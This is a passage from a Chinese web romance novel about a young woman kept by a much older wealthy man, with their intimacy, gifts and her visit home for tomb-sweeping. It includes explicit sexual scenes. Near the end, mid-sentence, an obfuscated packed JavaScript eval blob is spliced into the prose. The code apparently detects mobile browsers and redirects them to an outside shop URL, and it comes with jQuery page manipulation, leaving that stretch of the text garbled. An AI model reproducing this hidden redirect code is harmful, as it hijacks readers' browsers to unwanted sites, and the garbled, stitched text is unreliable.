“聚宝源。”孟绾甯一五一十地答,“点了些鲜切羊肉、雪花肥牛,还有毛肚。我总感觉毛肚有些臭臭的,蘸了麻酱都不行。” 听她软声抱怨,薄瑾杉旋即朗声笑了,捉住她的手指,拨弄了几下:“不喜欢吃还非要点。” 孟绾甯是南方口味,来北京这么久,好些吃食还是适应不了。 “茉茉爱吃。”她顿了顿,小心翼翼地问,“胜子哥说你去应酬了,喝酒了吗。” 说到这儿,薄瑾杉嘴角的笑意还在,只是那笑里忽然多了一丝别的意味:“徐胜倒是跟你亲近。让他去接送你,转头就把我卖了。” 孟绾甯知道自己说错了话,怕连累徐胜,急忙解释:“是我自己问的,你别怪他,我是担心你。” 她下意识维护徐胜的样子,让薄瑾杉彻底敛了笑。 他移开视线,声音淡了几分:“担心我什么?” “担心你喝酒胃不舒服。”孟绾甯垂下眼睫,手指在他掌心里蜷了蜷,“上次把我吓坏了。” 之前有一次,薄瑾杉不知是见谁,向来滴酒不沾的人,竟把自己喝到胃出血。 晚上在家里吐出那口血的时候,孟绾甯当场吓哭了,手忙脚乱地叫人打急救电话。 现在回想起来还有些后怕。 “不怕,今天没喝。”薄瑾杉揉着她的腰,沉默片刻,又低声问,“腰还疼吗。” “不是很疼了。” “一会再涂一次药。” 看他没计较自己跟徐胜打听他行踪的事,孟绾甯心头那块石头终于落了地,乖乖应了一声:“好。” 书房里点着龙涎香,熏香炉就搁在书桌一角。 孟绾甯觉得自己只待了一会儿,那香气便已沁入骨髓,将两个人周身上下染成同一缕气息。 说不上来是怎样的暧昧,明明什么都没做,却像已经被那缕烟缠绕在了一起。 薄瑾杉重新看向她,问:“活动之后还用再去?” “嗯,节后还要再彩排一次。” 孟绾甯说完,一侧睡衣肩带被他拨下去。 被薄瑾杉托着捏住的时候,她顺从地搂住他的脖子,气息有些不稳,小声同他分享:“这个活动是展示国风珠宝,翡翠,还挺好看的,翠绿色,摄影师说我挺适合,所以最后就定了是我。” “喜欢翡翠?”这个姿势方便把她自己送到他唇边,薄瑾杉问完,就低头含住,没多久,她就被吮得软了腰肢。 孟绾甯羞红了脸,额头抵在他肩膀,身子却不自觉往前挺了挺,等他终于放开她的时候,才瓮声瓮气说:“喜欢。我想要个玉镯。” 薄瑾杉替她把衣服拢好,语气淡淡的:“喜欢什么自己去买,不用来跟我说。” 这话孟绾甯是深有体会的。 拿着薄瑾杉的卡,无论走进哪家店,都会被请到上座,还有专人替她挑选。 可孟绾甯不想那样,她藏了些小心思。 孟绾甯把手轻轻搭在他胸膛上,也不说话。 方才被他亲了半晌,眸子里早已含了水汽,此刻这样望着他,清纯里裹着妩媚,勾人得很。 薄瑾杉了然,鼻腔里溢出一声低笑:“想我给你买?” 他一说话,胸腔便微微震动,更何况还这样笑。 孟绾甯这么轻易就被猜中了心思,脸红耳热,只羞涩地点了点头。 薄瑾杉挑眉:“我送的你能喜欢?” 不怪薄瑾杉这么问。 家里锁着一保险柜的宝石,各色系都有,项链、耳坠、戒指,一应俱全,不乏鸽血红、蓝宝石这样的名贵珍品,都是薄瑾杉挑了差人送来的。 可孟绾甯从没戴着出过门。久而久之,薄瑾杉便理所应当地以为她是不喜欢。 “你送的我都喜欢。那些宝石……我只是没有场合去戴。”宝石太过华丽,与她的穿着打扮也不相衬。 “好,那我挑几套让人送过来。”薄瑾杉捉住她白嫩的手,在她手背落下一吻,声音低低的,“下次带你出去。” “嗯。”孟绾甯轻声应了。 想起中午接到的那个道歉电话,孟绾甯犹豫了一下,还是说了出来:“那个导演……他给我打电话道歉了。” 薄瑾杉帮她解决了工作上的麻烦,又待她这样温柔,几乎有求必应,孟绾甯不是不感动。 她突然觉得自己实在太小气了,连他给李蕴仪送一套珠宝都要计较,还要变着法地让他一等一地再给自己也送一套。 这般小女生的心思,孟绾甯也不知薄瑾杉能看穿几分。 愧疚涌上来,她搂住薄瑾杉的脖子,低头在他唇瓣上轻轻碰了一下,又伸出舌尖,红着脸在上面舔了舔。 “做什么。”薄瑾杉几乎立刻箍紧了她的腰,眸色瞬间深了,喉结上下滚动,视线从她的眉眼一路描摹到她的唇。 孟绾甯在这方面的开窍不算早。 即便与他有过再多亲热,也很少主动。平时搂个脖子、亲一下喉结,便已是她的极限。像这样的举动,对她来说与挑逗无异。 孟绾甯脸色唰地红透了,她埋进他颈间,又浅浅碰了碰他的脖子,娇声说:“亲亲。” 薄瑾杉的嗓音果然哑了下去,掌心从她的腰抚摸到大腿,低声问:“今天怎么这么乖。” 孟绾甯不答,手指又在他胸膛上轻轻滑动。 薄瑾杉猛地起身,将她抱起来放在书桌上,一手抬起她的下巴,低头便堵住了她的唇。 那吻又急又凶,很快撬开她的齿关,柔软的唇舌纠缠在一起。 薄瑾杉按着她的腰,她上半身越吻越往后仰,直到支撑不住,双手撑在身后,慌忙制止。 薄瑾杉的书桌上摆满了名贵物件,有些还是拍卖会上拍下的孤品。 孟绾甯不知会碰倒哪一个,只觉得这里绝不是亲热的好地方。可他不肯轻易放过她,追着又吻了过来。 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她喘息了好一阵,才颤着声回答:“瑾杉……” “不对。” “瑾杉。”她又唤了一遍,尾音似在求饶。 “不是这个。” “先、先生……”她哭出声。 “还是不对。” 孟绾甯被折磨得受不住,哭着喊出一个令人羞耻的叠词,是之前从没叫过的称呼。 “叫我什么。”薄瑾杉愣了一下,几乎是咬牙切齿。 孟绾甯根本不好意思看他,紧密着双唇,但浴室躲无可躲。 薄瑾杉不肯放过她,疯了一样,“嗯?什么?再说一遍。” 在这方面,孟绾甯根本毫无抵抗之力,眼一闭,只好又小声叫了一句。 后来,那一个称呼,被薄瑾杉在漫长的夜里反反复复地逼问,一遍又一遍地让她唤。 窗外夜色浓稠,室内余韵未散。 孟绾甯听着他胸腔里尚未平复的心跳。 着迷又眷恋。 * 一切收拾妥当后,孟绾甯被他揽在怀里,唇边递来一杯温水,她小口抿着。 薄瑾杉给她腰上涂了药,旋即将她拢进臂弯,从身后密密地环住:“是不是很久没回你妈妈那里了。” 孟绾甯嗓子刚才喊哑了,费力吞咽了几下,才缓缓睁开眼,轻声应道:“嗯,有一阵子没回去了。” “你妈妈电话都打到我这里来了,”薄瑾杉说,“清明假期回去一趟吧,我安排人送你。” “什么时候打的。”孟绾甯一听这个,瞌睡虫瞬间被赶跑了,挣扎两下,想转身看薄瑾杉表情。 结果被他按住,警告道:“别乱动。” 孟绾甯语气有些急了:“她说什么了,是不是又麻烦你什么了。” “没有,我没接到,王秘书接的。”薄瑾杉低头,下巴抵在她发顶,轻抚着她的长发,让她安心:“就说想你了。” 孟绾甯这才放松下来,绷紧的肩膀慢慢软下去。 薄瑾杉说:“我给你准备一些东西,让司机帮你一起带回去,不是还要给你爸爸烧纸。” “嗯,要的。” 薄瑾杉抱着她:“上次给你妈妈的钱还够用吗。” “够,”孟绾甯眼皮掀起,想了想之前转给郁美华卡里的钱,“上次给了她十万呢,我妈平时没什么事,花不了那么多。” “嗯,我再给你转一些,你转给她,别让你妈觉得亏待她。” 薄瑾杉说转一些,那就是七位数起步。他不知道给了她多少钱,卡里数字后面的零她都数不清,有时候孟绾甯觉得无需这样。她的吃穿用度他都在管,要买什么东西可以刷他的副卡,平时真没多少用钱的地方。 她觉得没什么好亏不亏待的,薄瑾杉从没亏待过她,但他向来如此,跟她有关系的,他都要纳入手心一同照顾着,就没说什么,只翻了个身,搂住他。 “明天一早我有会,你睡醒了联系徐胜,他等着送你,”薄瑾杉突然沉默了,而后亲亲她的耳垂,温热的呼吸拂过她耳廓:“快到日子了,到时候我早点去接你。” 孟绾甯正昏昏欲睡,意识已有些涣散,想都没想便问:“什么日子?” “傻。”薄瑾杉低笑一声,嘴唇贴着她耳畔,吐息滚烫,“自己排卵期都不记得了?” 被他这般直白地点破,孟绾甯脸颊腾地烧起来,下意识否认:“也没事……” 否认的声音都没有底气。 “嗯,是没事,”薄瑾杉轻笑,丝毫不留情面,直接戳穿她:“不是半夜哭着打电话说想我的时候了。” 9. 京夜 那是孟绾甯大四的时候。 她成绩优秀,只用了两年半的时间就修完大学四年的学分,薄瑾杉帮她疏通关系,跟上一级的学长学长一同参加论文答辩。 那会学校已经没有课,薄瑾杉索性直接将她接到了四合院。 都说女人最好的滋养品,一是金钱,二是男人。 薄瑾杉重养生,自己平日里便讲究,连带着孟绾甯的身体也一并调理。 她本就比同龄人早熟几分,又被这般精心养着,身体便自然而然起了些微妙的变化。 那一次,薄瑾杉出差,辗转了几个城市,将近一周没有回来。 他走后的第三天夜里,孟绾甯莫名被一股燥热从梦中拽了出来。她口干舌燥,灌下一整杯温水,重新躺回床上,却怎么也找不到宣泄的出口。 那股热不是从外面来的,是从骨头缝里往外冒的,像有什么东西在血液里悄悄烧着,不急不躁,却绵绵不绝。 一连好几个夜晚,孟绾甯都睡不安稳。 每日半夜被那阵燥热折腾醒来,身上的绸缎睡衣湿透地贴在肌肤上,像刚从水里捞出来似的,黏腻得叫人发慌。 她不知道自己是怎了,身子难受得要命,心里想薄瑾杉想得发紧。 孟绾甯不舒服,便早早躺下,可睡一会儿就又醒了。起夜去厨房倒水时,腿脚酸软得像踩在棉花上,要扶着门框才能稳住身体。 女佣听到动静,披衣出来察看。 “小姐,您哪里不舒服?”女佣拧开一盏落地灯,暖黄的光晕漫开来,她连忙上前搀扶。 “没事,就是有些渴。”孟绾甯虚虚地喘了一声。 那灯光映在孟绾甯脸上,只见面颊浮着一层薄红,往日白皙的脖颈也染上了淡淡的绯意,像院子里初绽的桃花瓣儿。 她刚出了汗,这会儿只穿着吊带睡裙,厨房开了一扇窗,夜风徐徐吹进来,她不自觉地打了个寒噤。 女佣忙给她取了件披肩搭上,扶她在沙发坐下,又倒了温水递过来,眼里满是担忧:“要不要去医院看看呀,先生估摸着还要几天才能回来呢。” “不用,没什么事。可能就是换季,睡不好。”孟绾甯让她别担心,催着她赶紧去睡了。 女佣平日里照顾他们二人,知道薄瑾杉是如何将这位小姐捧在心尖上的,自然不敢怠慢半分。再三叮嘱她不舒服一定要叫自己之后,才一步三回头地回了屋。 孟绾甯在客厅坐了一会儿,又喝了些水,身体的不适才稍稍缓解。 她脚步虚浮地走回卧室,刚要躺下,电话响了。 那时候薄瑾杉还没如今这般忙,出差途中常常给她打电话,两人不过是聊聊天,说些有的没的。 才刚过十一点,薄瑾杉应当是刚忙完,电话那头的声音低哑,透着掩饰不住的疲惫:“睡了吗。” “还没有。”孟绾甯抱着被子坐在床上,手指无意识地扯着睡衣边缘的蕾丝,无端有些委屈,“没睡好。” 薄瑾杉说:“少看手机。” 他又问:“家里炖的补汤都按时喝了吗。” “喝了。”她在这方面向来听话。 薄瑾杉的声音就在耳侧,隔着手机听筒,孟绾甯都能想起之前他每日抱自己在怀,在耳边呼出的热气。 想着想着,半边身子都软了下去。 “你什么时候回来?”孟绾甯已经有些想哭了。 “还要差不多三天。” 孟绾甯不说话了,整张脸埋进被子里。 她觉得自己很需要一些东西,却不知道该怎样跟他要。那些东西具体是什么,她说不清楚,想来想去也触不到那个点。 薄瑾杉察觉到异样,低声问:“怎么不说话。” 半晌没有回应,再传入听筒的,便是她细碎的压抑着的啜泣声。 薄瑾杉听到哭声,声音骤然绷紧:“好端端的哭什么。” 孟绾甯不知道该怎么说。一来二去地有些急,哭得愈发狠,一抽一抽的,只断断续续地说自己难受,想他回来。 她从未这般任性过,在他出差的时候,这样不懂事地哭着要人回来。 “不哭,我让医生到家里去给你看看,好不好。”薄瑾杉被她的哭法吓到,以为她怎么了,又看不见人,“你乖,告诉我哪里不舒服。” “我不要医生……”他一哄,孟绾甯就更控制不住,眼泪扑簌簌地往下掉,哭着不管不顾地说,“我要你,瑾杉。” 哄了好一会,实在没办法,薄瑾杉怕她真出什么事,只好连夜飞了回来。 他有专属的私人飞机,赶到家中时已是凌晨两点多。 孟绾甯等着等着坚持不住,迷迷糊糊又昏睡过去。 睡着也不安稳。 她侧躺着,黑发被汗水浸得湿漉漉的,一绺一绺黏在颊边,两条雪白的长腿无力地垂在床沿,睡裙紧贴在身上,将那段曼妙的身姿勾勒得纤毫毕现。 薄瑾杉扯着领带走进卧室,入目的便是这样一幅光景。 他愣了一下,悄然走过去坐在床边,先是探了探孟绾甯额头的温度,温度正常。 孟绾甯在梦中感受到什么,循着他的手紧紧贴上去。 薄瑾杉看她扭动的身体和时不时张开喘息的小嘴,皱了皱眉,半疑地探过去,往她腿间一摸,顿时气笑了。 那天夜里,孟绾甯是被他舔醒的,还没接受过来他竟然就这样出现在身边这个事实,就被他猛然撑开。 薄瑾杉捞起她汗湿的身体,翻来覆去地弄她。 这几日积攒的空虚与不适,在这一刻终于找到了答案。 孟绾甯像一株被烈日烤蔫的藤蔓,终于等来了甘霖,不受控制地攀缠上去,下意识地分开膝盖往他身上蹭。 直到那瞬间,她才模模糊糊地意识到发生了什么。 那种感受,全然不像她自己,倒像是被什么无形的力量攫住了,舒爽得她根本无法思考。 后来薄瑾杉告诉她,她才知道那是排卵期。从前她从不在意这个日子,没想它的威力竟这般大。 孟绾甯那几日格外黏人。 第二天早上在薄瑾杉怀里醒来,黏黏糊糊地扒着人,一通撒娇胡闹,肆无忌惮的,一副有今天没明天的模样,不肯放人离开。 薄瑾杉到底没忍心把她一个人留在家里。 他回来得匆忙,走的时候便将她一并带走了。上飞机的时候,工作人员忍不住多看了她几眼,眼神里写满了不可置信。 从那以后,薄瑾杉便记住了她的日子。 每逢这个阶段,他总是记得要陪在她身边。 * 孟绾甯回想起那些旧事,才恍然惊觉,当时的自己竟是那样恃宠而骄。 彼时薄瑾杉正筹备第三轮融资,正值最要紧的关头,却被她一通电话就连夜赶回家中,第二天又匆匆折返。 孟绾甯后来不是没想过。 其实薄瑾杉完全可以不理她,或者放任她闹,可他都没有。 她需要他的时候,他便在那里,心安理得地承接了她所有的焦灼与委屈。 孟绾甯不过就是仗着他的纵容,便一而再再而三地踩过他的底线与原则。 薄瑾杉对她那样好。 所以,她现在这样爱他,是必然的。 孟绾甯在他的怀里沉沉睡去。 醒来时,鼻息间浮着一缕馥郁的花香。 是玫瑰的香气。 天光乍亮,薄瑾杉已经起了。 床头上摆放着一束新鲜的红玫瑰,花瓣上还凝着露珠,氤氲的香气丝丝缕缕地漫过来。 孟绾甯眼睫轻轻颤了颤,整颗心都跟着柔软舒展。 看薄瑾杉穿衣,是一件赏心悦目的事。 卧室里有一面大的落地镜。 薄瑾杉站在镜前,所有的动作都有条不紊。男人身量完美,蜜色肌肤在晨光下蓬勃,常年锻炼,他身上没有一丝赘肉,每一寸肌肉都精悍实用。 衬衫纽扣是如何被那双修长的手指一颗颗系上的,领带是如何一笔一笔打好的,还有袖扣。 孟绾甯眼尖,一眼便认出来,那对袖扣正是昨日她买的那对。 恰在此时,薄瑾杉的视线在镜中与她对上。 薄瑾杉看她一眼,随即跨步上床,手臂撑在她耳侧,俯身吻了吻她的额头。 “怎么醒了。” 孟绾甯偏头看了一眼那束花,说:“闻到香味,就醒了。”她瞥一眼时钟,又懒懒地阖上眼,“好早。” “嗯,有个跨国会议。”薄瑾杉摸了摸她的脸,低声道,“继续睡。” 孟绾甯又迷迷糊糊沉入梦乡,连薄瑾杉什么时候走的都不知道。 再次醒来时,春光已经铺满了窗台。 孟绾甯起床洗漱,下楼时,徐胜已在客厅候着了。 这一觉睡得有些久,也不知人家等了多长时间,她不禁面上微热。 徐胜见她下来,连忙起身:“小姐,厨房备了饭,您先吃点,咱们随时可以出发。” “好。” 佣人将饭菜热好端上桌。 孟绾甯招呼徐胜一同坐下,两人安安静静用完了餐,便准备动身。 孟绾甯的老家在江苏连云港,一座枕着海风的小城。 从北京开车过去,再快也要七个钟头。 她切了些水果装进盒子,又往便携水壶里灌满热水,这才上了车。 回家的路,总是显得格外漫长。 孟绾甯父亲走得早,是郁美华一个人将她拉扯大的。从小她便知道母亲有多不容易,因此格外听话,几乎从未顶撞过她。 薄瑾杉曾提过,让她把郁美华接到北京来。她同母亲商量过,郁美华不愿意,便也就作罢了。 一路走走停停,到家时将近晚上八点。 徐胜帮着把后备箱里的东西一件件搬进屋里。 孟绾甯看清薄瑾杉都准备了些什么之后,彻底惊呆了。 有烟,有茶叶,茅台整箱整箱地搬,大约是让郁美华待客用的,还有名贵的人参与燕窝,不仅如此,还给郁美华带了好几盒护肤品,爱马仕的包和围巾。 徐胜之前也送孟绾甯回来过,郁美华认得他。 她热情地招呼徐胜,想留他吃顿饭再走,徐胜说什么也不肯留,只说已经订好了酒店,明天会来接她们去扫墓。 郁美华见他执意要走,只好取了个保温桶,装了些家里煮的醪糟小圆子,让他带着回去吃。 徐胜走的时候连连道谢。 门一关,郁美华就伸出手指,点了下孟绾甯的额头。 “你这孩子,也不开口留留人家,这么远的路开过来,累都要累死的咯。” 孟绾甯把带过来的东西一件件搬进里屋,头也没抬:“他不会留的。” 郁美华跟在她身后,絮絮叨叨:“我当然知道他不会留,那咱们 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郁美华当年生孟绾甯的时候已经三十岁了,如今五十出头的年纪,却依旧不显老态。 岁月从不败美人。 孟绾甯的骨相与皮相,皆是遗传自母亲,她其实很感谢妈妈。 郁美华果然不再数落她了:“这个哪里适合我哟,还是你拿去背吧。” “我不要,是送你的呢。”孟绾甯挽起头发,小声说。 物质上,薄瑾杉给她的只会更多。 西城的公寓里装修时就做了个宽敞的衣帽间,里面的名贵包包数都数不清,爱马仕的每一款包包薄瑾杉都送了她,每年新品刚出的第二天包包就会被人送到家,都省了她去专柜里挑的功夫。 孟绾甯终于有空脱下外套,换了拖鞋。 郁美华把包收进防尘袋,寻了个干净角落放好,转身去厨房端了饭菜。 母女俩好不容易聚在一起吃顿饭。 郁美华絮絮叨叨地说自己腰最近不太舒服,说年纪大了,身体开始不好了。 一开始孟绾甯没搭话,只安静地听着。 没说几句,郁美华便话锋一转,旁敲侧击起来:“绾绾,薄先生到底有没有跟你提过结婚的事啦?” 孟绾甯摇摇头,说:“没提。” “那他是怎么想的,你问过没有。” 孟绾甯依旧摇头,说:“不着急的,再说吧。” 郁美华一听这话,沉不住气了:“这事怎么能再说,你跟了他三四年,现在大学都毕业了,也到了该谈婚论嫁的年纪了,他不提,就代表他没这想法,那你还没有危机感呀。” 孟绾甯只低头吃饭,不说话。 “男人都喜欢新鲜感,而且都薄情,你们在一起时间也不算短了,再拖下去他难免腻了,这么好的男人,你还不赶紧找个由头拴住他,傻不傻啊你。” 郁美华继续教育她:“你现在是还年轻,可再过两年呢,总有比你更年轻的,薄先生喜欢什么样的你清楚的很,要不然他也不会跟之前那个离了,找了你。” 说到这儿,郁美华忽然压低了声音,凑过来问:“之前那个……是不是没孩子?” 孟绾甯“嗯”了一声,说:“是没有。” 郁美华一拍大腿,说:“那怪不得,那你就没想过怀孕啊。你给他生个孩子,这样不就……” “妈。”孟绾甯打断她,“我不会用这样的方式。” 郁美华一个人将她拉扯大,这些年,父亲不在了,母女俩相依为命,风里来雨里去,着实不易。 郁美华自小便教育她,要寻一个好夫婿。 说女人的婚姻,堪比第二次投胎。郁美华自己就是头一胎没投好,嫁了个穷鬼,才落得如今这般光景。 所以她在孟绾甯还不满五岁的时候就将人送进了学校,让孟绾甯早上学,早毕业,早嫁人。 女人的青春就那么几年,与男人不同,错过了花期,便少了许多可供挑选的余地。 郁美华将自己的后半生,都押在了女儿身上。她说,只有孟绾甯以后嫁得好过得好,她的日子才算苦尽甘来。 “我就说你傻,你还不信。”郁美华简直恨铁不成钢。 孟绾甯难得坚持了一回:“反正我不要这样。” 她心里清楚,母亲打的是什么算盘。 可孟绾甯从未将她与薄瑾杉之间的感情,与这些事混为一谈。更不愿用那种上不了台面的手段,去逼迫那个她放在心上的人。 他们这样的权贵人家,最怕未婚先孕。没名没分的女人怀了孩子,在圈子里传出去便是丑闻。 孟绾甯对薄瑾杉的家庭知之甚少,却能隐约感受到门风之严,更不可能允许这样的事发生。 与薄瑾杉在一起的这几年,不得不说,在那件事上,两人太过契合。但薄瑾杉从没忘记过做措施,寻常的款式太小,他戴不上,就专门到国外买了大尺码。 孟绾甯从未想过要钻这个空子,这些年,薄瑾杉不曾亏待过她。 单是花在她身上的钱,少说也有九位数。倘若哪一天,薄瑾杉真的腻了,不爱了,或者身边出现了更好的人,孟绾甯不会强求留下。 因为她向往的,从来都是爱情本身。 体体面面地开始,便要体体面面地结束。 若不爱了,那便不再纠缠。 10. 京夜(含入v公告) 晚上十点,薄瑾杉的电话打了过来。 “你怎么准备了那么多东西。”孟绾甯躲回卧室,趴在床上接电话。 她声音娇滴滴的,脸埋进被子里,脚上的拖鞋被蹬掉,在床边一晃一晃的。 “不喜欢?”薄瑾杉的声音隔着听筒,反而更添了几分磁性。 孟绾甯摇了摇头,忽然又想到他看不见,便软声道:“很喜欢的。你送的东西,妈妈哪有不喜欢的。” 郁美华现在住的这套房子,也是薄瑾杉名下的房产。 他做得太好,郁女士那么挑剔的一个人,对薄瑾杉也赞不绝口。 “家里都好吗?”他问。 “嗯,都挺好的啦。瑾杉,谢谢你。” 孟绾甯一回家,口音就染上江南水乡特有的软绵音调。 薄瑾杉觉得好听,又有些可爱,他笑了,那笑声隔着电流传过来,说不清道不明的性感:“谢什么,都是你应得的。” 孟绾甯没多想,半捂着耳朵,只觉得耳根发热,一颗心扑扑地跳。 “明天扫墓的东西都准备好了?去的时候联系徐胜,这几天他都在。” “准备好了。”孟绾甯低下头,声音沉了几分,“瑾杉……他是我爸爸,可每年到这个时候,我竟然都不会很难过。我这样是不是很不好。” 父亲离世那年,孟绾甯才三岁。 她对那个男人没有记忆,每年与他最近的时刻,便是按习俗去坟前烧纸的时候。 说着说着,情绪便有些收不住了,孟绾甯哽咽道:“我觉得自己太冷血了。可我一想到这么多年,他都没有尽过该尽的责任,我就……有些恨。” 薄瑾杉没有立刻回应。 沉默在听筒里蔓延开来,孟绾甯似乎听见“喀”的一声,很轻,轻到几乎辨认不出,像是打火机的声音。 过了好一会儿,薄瑾杉才开口:“绾绾,这些都不是你的错。不要给自己压力,知道吗。不管你听到什么,都不要在意。你只要在我身边,我会把一切最好的都给你。” 薄瑾杉说得对。 他也确实是这样做的。 孟绾甯心里忽然有了底气,赌气般地说:“我知道的。爸爸没给我的,你都给我了,我都记得的。” 话一出口,孟绾甯便觉得有些不对味。 薄瑾杉没有搭话。她一下子就慌了,忙咂摸了一遍。 这话听上去,像是把对父亲的期许都寄托在了他身上似的。 薄瑾杉大她十六岁,年龄差摆在那里,这样说实在不合适。 “对不起,瑾杉,我失言了……我不是那个意思。”孟绾甯握紧听筒,赶紧道歉,“你是你,他是他。” 薄瑾杉还是没有说话,只有听筒里传来的呼吸声,昭示着他还在电话那头。 “你生气了……对不起。”孟绾甯的声音越来越低,手指紧紧攥着被角,生怕他下一秒就挂断电话。 她轻声哄着,让薄瑾杉不要生气。 “我不生气。”薄瑾杉笑了,“我能生什么气,是生你把我当爸爸的气,还是生我确实比你大十六岁的气。” 他的语气里更多的是无奈。 孟绾甯解释:“我对你的感情,跟这些都没有关系的。” 她能分得清,对薄瑾杉的依赖,究竟是因为恋父情结在作祟,还是喜欢他这个人本身。 薄瑾杉浅声应了一句:“嗯,我知道。” 前一夜,孟绾甯在那样极致的感受下脱口而出的那个称呼,当下确实让薄瑾杉生出了一些背德的隐秘刺激感。可理智回笼之后,涌上心头的却是深深的负罪感。 孟绾甯自然不会拿这种事情跟他开玩笑。 床上怎么叫,说到底都是情趣,跟这样放在台面上讲,是不一样的意味。 自从她说了那句话,薄瑾杉的语气便淡了下去。虽然他说不生气,可孟绾甯总觉得心里不踏实。 孟绾甯试着转移话题,又聊了一会儿。最后电话挂断时,她还是觉出了一丝不寻常。 总觉得,有些不欢而散。 * 翌日清晨。 郁美华端着一碗鲜肉馄饨走进来,顺手点了点孟绾甯的额头:“是不是又熬夜玩手机的啦?” 孟绾甯摇摇头,闷声说:“没有。” 她没睡好,眼下挂着两团乌青,整个人恹恹的,像一朵被晒蔫了的花。 昨夜临睡前,她又给薄瑾杉发了两条消息,无一例外,都石沉大海。 孟绾甯心里惶恐不安,总觉得是自己说错了话,惹他生气了。 郁美华语重心长地教育她:“女孩子不要总是熬夜,熬夜对皮肤多不好呀。你不要觉得自己年轻就不在意。” 郁美华喋喋不休地说着。 孟绾甯本就心情欠佳,听着听着便有些不耐烦了,只是面上不曾表露,只低着头默默吃饭。 徐胜已经在外头等着了。 见她们下楼,他迎上前来,帮着把那些金元宝和纸钱一摞一摞搬上车。 孟绾甯先让郁美华上了车,自己故意落后一步,压低声音跟徐胜打探:“胜子哥,先生有没有说什么时候过来?” 她快到日子,薄瑾杉说了来接她,就一定会来。 “要明天了,小姐。” “有说几点吗?”她追问。 徐胜抱歉地摇了摇头:“我只是个司机。先生的行程,我不全知道的。” 孟绾甯咬住下唇,心里有些沉不住气了。薄瑾杉现在不在她身边,摸不着碰不到的,她想哄都无从下手。 徐胜拉开车门,轻声劝道:“小姐,先上车吧。误了时辰就不好了。” “嗯,好。” 孟绾甯坐到车后座,与郁美华并肩。 她下意识地翻着手机,点开与薄瑾杉的聊天记录。 除了昨晚那两条无人回应的消息,上一次对话还停留在她不打招呼就跑去西城公寓的那回。薄瑾杉找不到她,发消息来问她在哪儿。 郁美华察觉出她状态不对,轻轻戳了戳她的手臂,用口型问她是不是吵架了。 孟绾甯有些郁闷,低头小声说:“是我惹他不开心了。” 郁美华余光瞥了一眼前座的徐胜,压低了声音给她出主意:“要不你今天烧完纸就回去吧。我这边也没什么事了,这次叫你回来,就是有些事想当面跟你交代交代,昨天晚上你也都听到了。” 孟绾甯按灭手机,摇了摇头,看了眼窗外:“他说明天过来接我。” “你这孩子。”郁美华一听这话,手指便戳上了她的太阳穴,把她戳得晃了一下,“薄先生那么忙,你就让他这么大老远跑来接你一趟,你怎么这么不懂事。” “他说要来呢。”孟绾甯声音低了下去,当着徐胜的面被这样指责,她觉得有些不自在。 “他说来你就让他来!自己心里没点数?薄先生那样的人,你让他跑这么远来接你,你还真把自己当回事了。” 孟绾甯垂下眼,不再说话了。 徐胜屏息凝神,全神贯注地开着车。 别人的家事,他不好插嘴,犹豫了半晌,终究没有开口。 烧纸的地方在一片山村的田野间。 当初孟绾甯父亲去世时,郁美华几乎便与那边断了往来。那家人丝毫不管这对母女日后如何活下去,连家门都没让进,直接将她们二人扫地出门。 倒是郁美华还念着旧情,每年依旧为他烧纸祈祷。 孟绾甯有时觉得挺矛盾的。 母亲一边对她寄予嫁个好人家的厚望,让她总觉着那份母爱并不纯粹,另一边又这般重情重义,让她心疼,又替郁美华不值。 她觉得郁美华应该恨父亲更多一些才对,可如今看来,或许并不是。 徐胜没有跟着过去,只远远地停下车,给母女俩留足了独处的空间。 山野田间,黄烟弥漫。 郁美华不说话,只是落泪。 孟绾甯递一个,郁美华烧一个。 叠好的金元宝和纸钱一只一只投进火中,那些纸张轻薄如蝉翼,转瞬间便堙灭为灰烬,随风散去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546254|204060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 孟绾甯恍然疑惑,这样的仪式,究竟是真的能让逝去的人在另一个世界过得更好,还是仅仅让活着且心碎的人寻得一丝慰藉。 她不懂。 许是父亲的离世之殇太过沉重,从田野回到家中,郁美华一直沉默着,不像往常那样数落孟绾甯。 孟绾甯心里悄悄松了口气。 到了傍晚,孟绾甯没让母亲动手,自己下了厨房。 饭菜端上桌,唤她来吃,郁美华仍是寡言。 “妈,你想不想跟我去北京住几天。”孟绾甯试探着问。 她不明白,母亲为何非要守在这个地方,这里到底有什么念想,值得如此执拗。 “我不去。”郁美华干脆拒绝,“你们小两口谈恋爱,我去添什么乱。” “不是添乱,就是过去玩几天,跟之前我上大学时一样。” “那时候我是不知道你谈恋爱,觉得你一个人在北京孤苦伶仃无依无靠的,我担心你呀。”郁美华叹了一声,“现在妈妈对你唯一的心愿,就是早日跟薄先生修成正果,你到底明不明白的啦。” 孟绾甯抿了抿唇:“这跟我带你散心又不冲突。” “反正我不去,我在这儿挺好的。” 孟绾甯说不过她,只好作罢。 后来孟绾甯回了卧室,简单收拾了一下。 薄瑾杉不知道明天什么时候过来,孟绾甯不想让他来了还等着自己收拾。 卧室里只开一盏小台灯,拉着窗帘,正叠着衣服,电话又响了。 孟绾甯看一眼来电提示,迅速放下手中的衣物,按下了接听键。 “瑾杉。”她的声音有些发颤。 薄瑾杉那边很安静,衬得他的声音格外清晰:“这么早就睡了。” “我没睡呢。”孟绾甯望了一眼被衣服占满的床,“在收拾东西。” 孟绾甯正要问他明天什么时候到,忽而像是有心灵感应似的,整颗心猛地被搅乱了。 她毫不犹豫地拉开窗帘,站到窗前向下望去。 一辆黑色宾利,静默肃然地停在楼下。 车旁没有人,但孟绾甯知道,车里一定坐着她想见的那个人。 “你怎么……”孟绾甯的声音里,惊喜和激动交织在一起,“我马上下去,你等我。” 怕薄瑾杉不信,她又强调了一遍,“我马上就好,两分钟就能下去。” 薄瑾杉淡淡笑了:“不急,你慢慢的,我不走。” 孟绾甯连衣服和鞋子都顾不上换,穿着睡衣和拖鞋,蹬蹬蹬跑了下去。 跑到车门前,却又忽然生出几分近乡情怯的迟疑来。 后座车窗降下了半扇,恰好露出薄瑾杉的侧脸。 他正闭目养神,眉目高挺,面部线条硬朗。 